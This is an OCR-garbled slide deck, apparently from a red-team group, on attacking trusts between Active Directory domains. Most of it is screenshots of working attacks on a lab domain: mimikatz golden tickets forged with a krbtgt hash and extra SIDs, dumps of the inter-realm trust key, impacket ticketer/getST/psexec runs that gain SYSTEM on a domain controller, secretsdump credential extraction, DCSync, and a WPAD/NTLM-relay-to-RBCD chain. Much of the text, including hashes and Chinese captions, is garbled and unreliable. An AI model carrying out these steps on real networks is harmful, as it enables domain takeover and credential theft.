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base 1 ®#msid history



Sid history

- [EMRHIEEEIGE.
- FH:

- EHEIMRER T
- EAET A, FJUEESMREEFRBR | ZBRFET administrators,

2. Administrators SS4E - it EEESIHEY/EE A
"2, Backup Operators ~¢r§>ﬁ A Hbisg ﬁh 1@1‘5"‘737&%78

Admlnlstrators EEE

mET | mEs

Active Directory EiERS3{4=

» Sid filterBUAAT | RFHNE | SREERRLIURIER



S C:\Users“Administrator \Desktop? Get—-DomainTrust

ourceMName
argetMame
rustT ype
rustAttributes
rustDirection
henCreated
henChanged

Forest
DomainControllers
Children
DomainMode

Parent

PdcRo leOuner
RidRo leOwner

Name

s o T ) ) “ A

InfrastructureRoleOuner

sz.test.com

test.com

WINDOWS _ACTIVE_DIRECTORY
WITHIN_FOREST
Bidirectional
20192/712,10 18:30:49
20191218 18:38:49

test.com
{de.test.com?
{sz _test_cam?>

Windows2B12R2Domain

dc.test.com
dc.test.com
dc.test.com
test.com

PS C:\Users\Administrator\Desktop>
PS C:\Users\Administrator\Desktop>
P8 C: \Users\ﬁdmlnlstrator\Desktop>

E Y . .

Af*ﬁ&zﬁ Windows Server 20812 R2 Standard
1‘% SZ@
Aﬂfﬁ DNS 13?H sz.test.com
e A"
oM ITHHERT ¢ @
on REHE <FP) 16
oM ‘ﬁilzgﬁj EH 250
ap < PRI TT Ak

:\Users\Administrator\Desktoyp >dir \\dc.test.com\c$

BERIn).



icket(s) purge for current session is OK

mimikatz # kerberos::golden Z/user:administrator /domain:sz.test.com /sid:S-1-5
1-2371376506-234879451-3027120501 /sids:S5-1-5-21-1258407096-1360244215-2832910
4-519 /krbtgt 80869f 88122d699f 45af Se56613bdAdc /ptt

o4
28

User admlnlstrator

Domain : sz.test.com (SZ)

SID : §-1-5-21-2371376506-234879451-3027120501
lleer Td % %)

Groups _Id : %3513 512 520 518 519
Extra SIDs: S-1-5-21-1258407096-1360244215-2832910084-519

Sar oeobb labddde - Frcd_hAmac._n
2@1?/12/16 11: 51 48 s 2029712713 11:51:48 ; 2029712713 11:51:48

= al= XX

S & hitps://www.microsoft.com/security/blog/2015/
Sa=l® (2/11/krbtgt-account-password-reset-scripts-

IGolden t now-available-for-customers/
nt sess

bft Corporation, ??%Sﬁﬁ??f?fqo

. Bﬁg : EIBA: C:\Windows\SYSTEM32\cmd.exe
¥ EncT s R 6.3.96881

%

*

strator\Desktop>dir \\dc.test.com\c$

February 11, 2015

ika

KRBTGT Account Password Reset Scripts now
available for customers

2014/01/19 089:23 <{DIR> win—iso
28191218 15: 35 <{DIR> Windows

X 8 FP

—_———

7 |E35? 33.692.979 . 290 ol H=ZES


https://www.microsoft.com/security/blog/2015/02/11/krbtgt-account-password-reset-scripts-now-available-for-customers/
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7.KRB_AP_REQ

L=inter-realm key

8.KRB_AP_REP (optional)

BigkkKDC
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. kerberos

Time Source Destination Protocol Length Info
200 22.286093 192.168.7.254 192.168.1.7 KRB5 1363 TGS~-REQ
201 22.292470 192.168.1.7 192.168.7.254 KRB5 1422 TGS-REP
210 22.307356 192.168.7.254 192.168.1.6 KRB5 1352 TGS-REQ
211 22.316974 192.168.1.6 192.168.7.254 KRBS5 1436 TGS~REP
216 22.325920 192.168.7.254 192.168.1.6 SMB2 1400 Session Setup Request
322 22.644675 192.168.7.254 192.168.1.7 KRBS 1363 TGS-REQ
323 22.647484 192.168.1.7 192.168.7.254 KRB5 1422 TGS-REP
331 22.664350 192.168.7.254 192.168.1.6 KRB5 1352 TGS~REQ
332 22.667413 192.168.1.6 192.168.7.254 KRB5 1436 TGS-REP
337 22.675130 192.168.7.254 192.168.1.6 SMB2 1400 Session Setup Request
355 22.698977 192.168.7.254 192.168.1.7 KRB5 1363 TGS-REQ
357 22.701675 192.168.1.7 192.168.7.254 KRB5 1422 TGS-REP
365 22.715257 192.168.7.254 192.168.1.6 KRB5 1352 TGS-REQ
366 22.718499 192.168.1.6 192.168.7.254 KRB5 1436 TGS-REP
371 22.727063 192.168.7.254 192.168.1.6 SMB2 1400 Session Setup Request
391 22.755980 192.168.7.254 192.168.1.7 KRB5 1363 TGS-REQ
392 22.758798 192,168.1.7 192.168.7.254 KRB5 1422 TGS~REP
401 22.770749 192.168.7.254 192.168.1.6 KRB5 1352 TGS~REQ
402 22.774199 192.168.1.6 192.168.7.254 KRB5 1436 TGS—-REP
497 22.783439 192.168.7.254 192.168.1.6 SMB2 14900 Session Setup Request

Transmission Control Protocol, Src Port: 88, Dst Port: 55320, Seq: 1, Ack: 1298, Len: 1356
Kerberos
» Record Mark: 1352 bytes
v tgs-rep
pvno: 5
msg-type: krb-tgs-rep (13)
crealm: SZ.TEST.COM
» Cname
v ticket
tkt-vno: 5
realm: SZ.TEST.COM
v sname
name-type: KRB5-NT-SRV-INST (2)
v sname-string: 2 items
SNameString: krbtgt
SNameString: TEST.COM
» enc-part




3RHYinter-realm trust key

mimikatz # lsadump::trust Z/patch
Current domain: SZ.TEST.COM (SZ0 / S-1-5-21-2371376506-234879451-3027120501)
omain: TEST.COM (TEST /7 S-1-5-21-1258407096-1360244215-2832910084)

C In 1 SZ.TEST. COM -> TEST COM
: 37 d2 dO bf ad dB@ 87 eS a7 6d SZ2 a7 dd bé
bf 30 fS cb 909 35 63 f2 b8 44 Q1 Oe c3 14 42 d7 97 40 a8 990 fe 84 e4 da bc b6 ef
e3 Sb 97 42 65 66 S57 72 18 96 32 3 9a Se a3 69 093 54 3d d3 82 a7 el 46 80 38 a
d ad bd 4d 21 al 8a ab 8a 19 9¢c 72 d3 f4 26 c9 bf ec 38 e3 eZ2 42 S22 dc 3494 B6 ab
a7 S6 75 07 6¢c b8 44 ed Da a9 69 4494 73 890 cf f6 b2 b3 89 83 b9 0 4f 64 c7 90
fd 39 dd fa S22 el 09 2@ 77 £9 15 08 dd cb d4 a3 2Z2b fc f3 12 80 40 64 ac 7a 3a 8
a d9 26 69 ab fl e2 da 13 79 10 3c 07 9d a7 f0 39 62 e8 84 O3 ce dd ee 82 b6 f1
b7 98 97 08 cd S3 6a S6 35 Sf 79 b2 Oc ce d8 S5 f9 2f e7 5SS f2 9d 40 223 ef 64 fc
c3 Fg 43 ak b9 10 81 5S9 5S4 67 6¢c a9 a7 9 fa 99 cS 2d 80 bf ac ec OS c3 69 7c 1

ocroacl 855256 hmac 628b 15df 3b9bb2b5307d93529c 45f 4 102aP38f 57 1ce@10d4b9d
e ae s 128 Finisic ded3c4a82ef 2S5cabed12146e98de6177
rc4_hmac_nt 97116abecbcd498da/cce22658ebdf beceea

37 d2 dO_bf_ad dO 87 eSS a7 6d 52 a7 dd bé

bf 30 fS cb 09 35 63 f2 b8 44 01 9e c3 14 42 d7 97 40 a8 90 fe 84 _ed da bc b6 ef
e3 9b 97 42 65 66 57 72 18 96 32 e3 9a Se a3 69 03 54 3Bd d3 82 a/ el 46 80 38 a
d_ad bd 4d_21 al 8a ab 8a 19 9c 72 d3 f4 26 c9 bf ec 38 e3 e2 42 52 dc 34 0O6_ab
a/ 56 75 O7 6c b8 44 a2 ed_Ba a9 69 4494 73 80 cf f6 b2 b3 89 83 b9 00 4f 64 c/ 99
fd 39 dd fa S2 el @9 20 77 f9 15 08 _dd cb_d4 a3 2b fc f3 12 80 40 64 ac_7a 3a 8
a_d9 26 69 ab fl e2 da 13 79 10 3c 07 9d a7 f@ 39 62 e8_84 O3 ce dd ee 82 b6 f1l
b7 98 97 08 cd 53 6a 56 35 Sf_79 b2 Oc_ce d8 55 f9 2f e7 S5 f2 9d 40 23 ef 64 fc
c3 ff 43 a@ b9 10 81 59 54 67 6¢c_a9 a7 %9e fa 94 cS 2d 80 bf ac_ec OS5 c3 69 7c 1
? 9a 8d 394 e4 b6 62 51 f2 fb 9f 85 Sf @7 c9 fe 14 92 62 dO Od eS 46 S8 43 f23 ad

d cé6
321;192 ?55256 hmac bec2534c 13eS565Saf460c77751a8f f eZbd48dd 136509963 7de394
= aae5128_hmac 1c707d7df e4363d51381942d1250285a
rc4_hmac_nt 97116abcbcd498da/cceZ2658ebdf beceea




ipromised "

python ticketer.py gnthash H/711GabcbeafBda/ccelbodebdibeeeyd ~domain-sid S-1-5-21-2371376506-234879451

administrator

gxamp L
-spn. krbtgt/test.com

ain sz.test,com|
Impacket v0.9,21

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sz.test.com/administrator

(*] PAC_LOGON_INFO

[*] PAC_CLIENT_INFO_TYPE
=] EncTicketPart

[*] EncTGSRepPart

[*] Signing/Encrypting final ticket

() PAC_SERVER_CHECKSUM

f*] PAC_PRIVSVR_CHECKSUM

=] EncTicketPart

[*] EncTGSRepPart

[*] Saving ticket in administrator.ccache
[promisead exanples]s

[promicen examples]s

[promise@ xamplesls

[promised® l L ﬁ

xamples]$ export KRBSCONAME=administrator.ccache

9 SecureAuth Corporation

[promise@. examples|$ ./getST.py -debug -k -no-pass)-spn cifs/de.test.com -dc-1p 192.168.1.6 test.com/administrator

Impacket v@.9.21-dev - Copyright 2019 SecureAuth Corporatio

[+] Using Kerberos Cache: administratar.ccache

[+] Returning cached credential for KRBTGT/TEST.COM@SZ.TEST.COM

[*] Using TGT from cache

i*] Getting ST for user

f+] Trying to connect to KDT at 192.168.1.6

[*] Saving ticket in administrator.ccache

(promisca® B B axamples]s

[promised, examples]$ ./psexec.py -no-pass -~k
Impacket v0,9,21-dev - Copyright 2019 SecureAuth Corpo

[*] Requesting shares on dc.test.com,....

[-] share 'c$' is not writable,

[*] Found writable share NETLOGON

[*] Uploading file nklJoiRN,exe

[*] Opening SYCManager on dc.test.com. ...,

f*] Creating service biTt on dc.test.com.....
[*] Starting service biTt.....

[!] Press help for extra shell commands
Microsoft Windows [l 6.3.9600]

(c) 2013 Microsoft Corparationiogdtpe L Lygy

C:\Windaws\system32swhoami
nt authority\system

C:\Windows\system32-exit

:

z.test.comfadministrator@de, test. com

L
IO

[*] Process cmd.exe finished with ErrorCode: @, ReturpCode: O

[*] Opening SV(Manager on dc.test.com.....
[*] Stopping service biTt.....

[*] Removing service bLiTt.....

[*] Removing file nkJJoiRN.&xe.....
[promises m examples]s JJ

~3027120581 -extra-sid E~l~5-21-1258407996-1380244215-2832910@84-519]-dt




C: ~~~IJSE:1-3‘~~I:I||:l.|1'|in]'.31:l-a.tl::rl'i*mat config workstation

1 1 SNCcorp
%% COPp.cOPpP.CcOm

Administratopr

I’f’lﬂﬁﬁif’ff
NetBT_Tcpip_{57B58E1A-4882-4ADC-9013-A9BEDD389221> (52549ED82CCD)
ﬁ’ll—’d_l-ﬁﬁijﬂ Windows Server 20812 R2 Standard
Iﬁﬁﬁi@ﬁ CORP@
L ﬁﬁi@ DNS % 7J corp.com
=gmrac CORP®
coM FTFHHERT F» 5
COM Eﬁﬂ-ﬁ c%ﬁ'—h 16
COM ﬁiﬁﬁﬁfj CEFD 258
& e AT 7T il

8 C:\sers"Administrator?> ([System.DirectoryServices.ActiveDirectory._.Domainl::G
tCurrentDomain<?>>.GetAllTrustRelationships<{>

ourceMame TargetName TrustType TrustDirection

orp.com test.com TreeRoot Bidirectional

T Mevllnnsn i fidman s ndannd ™



3RHYinter-realm trust key

[promisec W B examples]$ ./secretsdump.py —-no-pass -k sz.test.com/administrator@dc.test.com —-just-dc-usef CORPQ$
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets
CORP0$:1105:aad3b435b51404eeaad3b435b51404ee:905abfc2a4a60c528f018ab918e5aba3: ::

[*] Kerberos keys grabbed
CORPO@$:aes256—-cts—hmac-shal-96:4c382e34f93efec80395a3823¢c5713474e3¢cb11f71954ae494346aa8a27b46b7
CORPO$:aes128-cts—hmac-shal-96:2233d0b77eea32bc75aa8fadf81al0dbf
CORPO$:des—cbc—md5:c175a876d6345e34

[*] Cleaning up...

[promiseC m m examples]$

[prOmisec examples]$
[promise@. W MW examples]$
[prOmise@ examples]$ ./secretsdump.py —-no-pass -k sz.test.com/administrator@dc.test.com —-just-dc-user [SZ0$

Impacket VW.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

SZ0%$:1104:aad3b435b51404eeaad3b435b51404ee : CEMNGE] o el EVARol=PA It Il o o i ol : : :

[*] Kerberos keys grabbed
SZ0%:aes256-cts—hmac-shal-96:a79724a2d7e8904e9b51adfdff7720b8077a3d64aec18e6e0f3880f803562e8a

S7Z0%:aes128-cts—hmac-shal-96:939d8d8fb1ac9d022b5802703a56c6f6
SZ0%:des—cbc-md5:6ee092f1dab215fd

[*] Cleaning up...

[promise@fileshare examplesl$ I



ip}Omise@ o . examples]$ python ticketer.py -nthasw

985abfc2a4ab0c5281@18ab918e5aba3l f-domain-sid S-1-5-21-1051736633-3259773269-4206400344 -extra-sid S-1-5-21-1258487096-1360244215

nain corp.com -spn krbtgt/test.com administrator
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporat

[*] Creating basic skeleton ticket and PAC Infos

[*] Customizing ticket for corp.com/administrator

[*] PAC_LOGON_INFO

[*] PAC_CLIENT_INFO_TYPE

[*] EncTicketPart

[*] EncTGSRepPart

[*] Signing/Encrypting final ticket

[*] PAC_SERVER_CHECTKSUM

[*] PAC_PRIVSVR_CHECKSUM

[*] EncTicketPart

[*] EncTGSRepPart

[*] Saving ticket in administrator.ccache

[promisee B Wl examples)$

pmmisﬁ . mm cxamples]$

[promis examples]$ ./getST.py -debug -k -no-pa
Impacket vb.9.21-dev - Copyright 2019 SecureAuth Corporat

[+] Using Kerberos Cache: administrator.ccache

[+] Returning cached credential for KRBTGT/TEST.COM@CORP.
[*] Using TGT from cache

[*] Getting ST for user

[+] Trying to connect to KDC at 192.168.1.6

[*] Saving ticket in administrator.ccache

[promiseq m gmm examples]$ ./psexec.py -no-pass -k co
Impacket v@.9,21-dev - Copyright 2019 SecureAuth Corporat

[*] Requesting shares on dc.test.coM.....

[~] share 'c$' is not writable.

[*] Found writable share NETLOGON

[*] Uploading file tzvGjPKi.exe

[*] Opening SVCManager on dc.test.com.....
[*] Creating service zJDY on dc.test.com.....
[*] Starting service z1DY.....

1t authority\system i
ode: @, ReturnCode:

[*] Opening SV(Manager on dc.test.com.....

fael CHanninm camitra INVY

lon

ss{-spn cifs/dc.test.com -dc-ip 192.168.1.6 test.com/administrator
10

coM

rp.
ion
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Y Y

. \Rubeus, exe monitor /interval:> /filteruser

-

FRrA S

G
) )
=0 ‘ ' =N /)
\ \ A 112D ) ) 14 o
~ !_ | / | / l ) /’ \ /
L O
] Action: TGT Monitoring
] Monitoring every 5 seconds for 4624 logon events
-] Target user : ° '(_\
; Il -"—HH”
. ‘ \ /] |
-] 2019/9/2 14:13:06 - 4624 logon event for ~C 1 ===
vl. 4.2
-] 2019/9/2 14:13:06 - 4624 logon event for ’ Cf uid: 0x0
1 T, 3 s FORE #] Action: Purge Tickets
= 20.’9/ /2 14:13:22 - 4624 10801‘1 event for ‘ ) [+] Tickets successfully purged!
] Target LUIU: '1'(14dnr,23‘ gg g{:ig;
1 T . 1
] larget service krbtgt -PS D:\temp> . \Ruher R
Bhof O
DserNams : + N =
DDInZlin . A mimikatz 2.2.0 x64 (oce.eo)
Logonld ¢ Ox14d0c239 7
< R S — : m1m1katz # 'Isadump :dcsync /user: [
UserSID : S=1-5-21-1665290243~¢ | ] ﬂ'l'l be the domain
[ > B Y b e — > o [N will be the DC server
1 t1Cé acCcka < o= S .
AuthenticationPackage Eerbero N oc] "Tem . s Ut eh et
LogonType : Network — .
LogonTime : 2019/9/2 6:13:22 , “Object RDN
LogonServer - i L,g,’” ;*" SAM ACCOUNT **
RO « e SN ama 3 . C —.:‘-H‘
Lugunogl\tzzDN...Iumm - .ur.t ity G T |
UserPrincipalName < -\"»bbrﬂ User Principal Name v
_hdq;'} Z1h | —\ = Account Type 30000000 ( USER_OBIECT )
= : — ,.,l]¢1ltH_p I User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD
ServiceName . L1 ] / I l \| I | ‘ \—Account e)](p1|'at;10n 1601/1/1 8:00:00
TarcetName . —_— = —Password last change .
AArss tName E \‘ D) =) —,Object Security ID O = '.. -
ClientName 2 — A ObJect Relative ID
) a1 wvmN 5 . 3
Eulmnﬂxame' ’ . vl 4.2 et
lTargetDomainName - Hash NTLWV =
R, L IS R NS AR Y 2 . _HISHCE = - — B T S [ e ey n o L L Tl
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ADIDNS

=4

i DNS E1E55
(R EBfERN) ZFBNV) EEH)
e HE XKE =2 HFE 8 8 &
%, DNS EZR =E
4 g SZ | _msdcs
b ) £BEE | _sites
4 || |FEEFEE, | _tcp
b 2] _msdcs.test.com 1 _udp
42| szitest.com | DomainDnsZones
> & _msdes = (57 #siER) EEHIE(SOA)
=i H (sazig=ER) SHEBEBENS)
= —t‘: 2 (s 2isiER) EHA)
> . -oep . | ordinary =EAL(A)
i | DomainDnsZones .
o sz =1L(A)

b | RESHXE

EWFETEG):
| ¥, Everyone
¥ SELF

2, SYSTEM

sz.test.com Bt

¥ Enterprise Admins (TEST\Enterprise Admins)
¥, DnsAdmins (SZ0\DnsAdmins)

LBENICSOA) | ZHEEE | WINS | Rsez

H

B I0(D)... =(R)
Authenticated Users B3R (P) SF EE
=25 ] L] 2
=R [] L]
SA L] o =
SEFEFSE v L]
HigsrEFE L] L]
S S b X
EEHNIRERRE S8 =R =®)




GQBL

GOBL{E/

2R . EBEAEF#RGIZR ( global query block list)
{EF: 1LDNSATIZTIZRAEBHIAICR
BOABCE

E¥ Administrator: Windows PowerShell

P5 C:i\UsershyAdministrator> Get-DnsServerGlobalQueryBlockList o

Enable : True
List  : {wpad, isatap}

PS C:\UsershAdministrators

2O S

domain: WPAD.TargetDomain.com
NS : NSTEST.TargetDomain.com

@ ——1.DNS query WPAD——> —2.query WPAD—» ?
<*—4 response P = =1
! <«—3.response |P— !

Client #HADNS QFWJDNS




NTLM relay

NTLMSSP over SMB

The difference between NTLM authentication in SMB and HTTP lies in the flags that are negotiated by
default. The problematic part is the NTLMSSP_NEGOTIATE_SIGN flag ( 9x00000010 ), documented in MS-NLMP

5. NTLM authentication over HTTP does not set this flag by default, but if it is used over SMB
this flag will be set by default:

HEAETR :
MELERWPADES BTLAZRNTLMSSP over HTTP,ASINEER



B2 HIFYIRERIR

« Windows 2012 5| \BY4FI4E:
- HEFRIRERZIEMEFRIR resource-based constrained delegation
- BHY:
J. N TRAZRNBEBRE AP LT BEERERTIREL.
- FA:
- 1IZ4FEBR TR ERVERRE, T ASEW sSSP E. (GEIFANE)



RBCD

HFEFR29E 4K resource-based constrained delegation

S5ARMFRIREAHIX B

Ak aiimi=sl (web server ) BY “msDS-AllowedToDelegateTo” 22k 1 fgimiz=sl ( SQL Server )
"msDS-AllowedToActBehaltOfOtherldentify”

o

/ Web Server SMB Server
; g

Client SQL Server

msDS-AllowedToActBehaltOfOtherldentify:
WebServer Machine Account SID




I HHE

Attacker foothold relay server

1.3853 ADIDNSEMWPARIZ R 3453 GQBLEZHT, WPAD3E firelay server
|

EA EA
DC1 DC2
I

'
I
I
I 2.7 1P. A} DC T A EWPAD.dat [

1 I

| .WPAD#{THIEZNHS, BRRNTLMSSP over HTTP |

I I

I 4. relay to DC2 LDAP, {22¥RBCD from Foothbld$ to DC1

| el
1 I

5. HifAdministratotifi|alfoothold 92, 52 S4U2Self [

6. i&[Bladministrator#|alfoot %i/t\, .
EIE(SE , aTLABEMAIRFE i AIwpad,
HMmEENtm relayf=Hl4lE§MKFLDAP, 45
. & RBCDHIERPE, BT AT B A L2S
[

9.PTT dump hash 1
i > [




BIPAITE

TR(5 A-TEAM : BIPAERHTITF Web £iE. APT IXEA.
Xiin . BIESTEINBL L RN, NEER . MHYEm#HTT
=i, BRERBEAHRSR  FEAERRSBEREARE , S
ZIRERSEHEEE Windows i8], Exchange. WebLogic.
Exim FEXEZERFEME.
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